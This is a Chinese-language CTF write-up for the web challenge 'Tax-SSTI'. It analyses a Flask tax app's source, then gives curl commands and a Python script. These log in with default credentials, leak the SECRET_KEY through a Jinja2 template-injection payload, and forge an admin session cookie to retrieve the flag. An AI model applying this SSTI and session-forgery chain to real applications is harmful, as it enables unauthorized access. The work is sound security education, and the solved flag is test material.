[web] 御网杯 Tax-SSTI

👁 0 views
📅 2025-5-30 ⏱ 2 min 🏆 御网杯

SSTI 税务系统 CTF Writeup

题目信息

  • 题目地址: 47.99.147.34:22477
  • 题目描述: 一款为企业客户提供年度税务清算和申报的系统,听说系统最近在迁移数据。
  • 附件: /web/ssti

一、源码分析

1.1 应用入口 <code>app.py</code>

这是一个 Flask Web 应用,关键功能:

  • 登录认证: POST /login — 查询 SQLite 数据库验证用户名密码
  • 数据导入: POST /api/import — 允许更新 profile 的 income, deductions, state, custom_footer, year 字段
  • 预览报告: GET /preview/<id> — 根据 profile 的 state 字段决定渲染方式
  • 管理员金库: GET /admin/vault — 需要 role == 'tax_inspector' 才能获取 flag

1.2 SSTI 漏洞点(核心)

/preview/<id> 路由中,当 state == 'AUDIT_PENDING' 时:

custom_footer = profile['custom_footer']
# 黑名单过滤
blacklist = ['__', '[', ']', '|', '\\', '+', "'", '"', 'request', 'session', 'url_for', 'popen', 'system']
for word in blacklist:
    if word in custom_footer:
        return "Security Policy Violation", 403

# 关键!使用 render_template_string 渲染用户可控的 custom_footer
template_html = f"""...{custom_footer}..."""
return render_template_string(template_html)

custom_footer 直接被嵌入到 Jinja2 模板中并通过 render_template_string() 渲染,存在 SSTI(服务端模板注入) 漏洞。

1.3 初始化脚本 <code>init_db.py</code>

cur.execute('INSERT INTO users (username, password, role) VALUES ("admin", "123456", "admin")')
cur.execute('INSERT INTO config_flags (flag) VALUES ("flag{xxxxxxxxxxxxxxxx}")')

默认管理员账号密码:admin / 123456

1.4 配置文件 <code>config.py</code>

SECRET_KEY = os.environ.get('SECRET_KEY', 'this_is_a_very_secret_key_for_tax_system_2026')

源码中的默认 SECRET_KEY 为 this_is_a_very_secret_key_for_tax_system_2026,但实际部署时可能被环境变量覆盖。


二、攻击链

Step 1: 登录获取会话

使用默认凭据登录:

curl -c cookies.txt -d "username=admin&password=123456" http://47.99.147.34:22477/login

Step 2: 利用 SSTI 提取真实 SECRET_KEY

通过 /api/import 接口将一个 profile 的 state 改为 AUDIT_PENDING,同时设置 custom_footer 为 SSTI payload:

curl -b cookies.txt -X POST -H "Content-Type: application/json" \
  -d '{"profile_id":59,"data":{"state":"AUDIT_PENDING","custom_footer":"{{ config.SECRET_KEY }}"}}' \
  http://47.99.147.34:22477/api/import

然后访问预览页面触发模板渲染:

curl -b cookies.txt http://47.99.147.34:22477/preview/59

返回的页面中 footer 位置显示了真实密钥:

secret_tax_key_2026_xoxo

注意: {{ config.SECRET_KEY }} 没有触发黑名单(不含 __[] 等字符),是一个安全的 payload。

Step 3: 伪造 admin session cookie

使用提取到的 SECRET_KEY,伪造一个 role=tax_inspector 的 Flask session cookie:

from flask import Flask
import flask.sessions

app = Flask(__name__)
app.secret_key = 'secret_tax_key_2026_xoxo'

with app.test_request_context():
    session_interface = flask.sessions.SecureCookieSessionInterface()
    serializer = session_interface.get_signing_serializer(app)
    cookie = serializer.dumps({'user_id': 1, 'role': 'tax_inspector'})
    print(f"Cookie: {cookie}")

生成的 cookie: eyJyb2xlIjoidGF4X2luc3BlY3RvciIsInVzZXJfaWQiOjF9.ahp_0A.UCm0IrAW80JeILFdoBhLYRbgJqw

Step 4: 访问金库获取 Flag

curl -b "session=eyJyb2xlIjoidGF4X2luc3BlY3RvciIsInVzZXJfaWQiOjF9.ahp_0A.UCm0IrAW80JeILFdoBhLYRbgJqw" http://47.99.147.34:22477/admin/vault

三、Flag

flag{a254d76b46619625320bd29d4a52e79f}

四、漏洞总结

| 漏洞类型 | 说明 | |---------|------| | SSTI (服务端模板注入) | custom_footer 用户输入直接传入 render_template_string(),可在 Jinja2 模板中执行任意表达式 | | 硬编码凭据 | 数据库初始化脚本中明文存储管理员密码 123456 | | SECRET_KEY 泄露 | 通过 SSTI 的 config 对象读取 Flask 应用配置,获取用于签名 session cookie 的密钥 | | Session 伪造 | 获取 SECRET_KEY 后可伪造任意用户身份和角色,突破 role=tax_inspector 的权限检查 |

黑名单绕过思路: 题目禁用了 __[]requestsession 等,但 config 对象可以直接通过 {{ config.xxx }} 访问,不需要使用 __class____subclasses__() 等被禁用的属性访问链。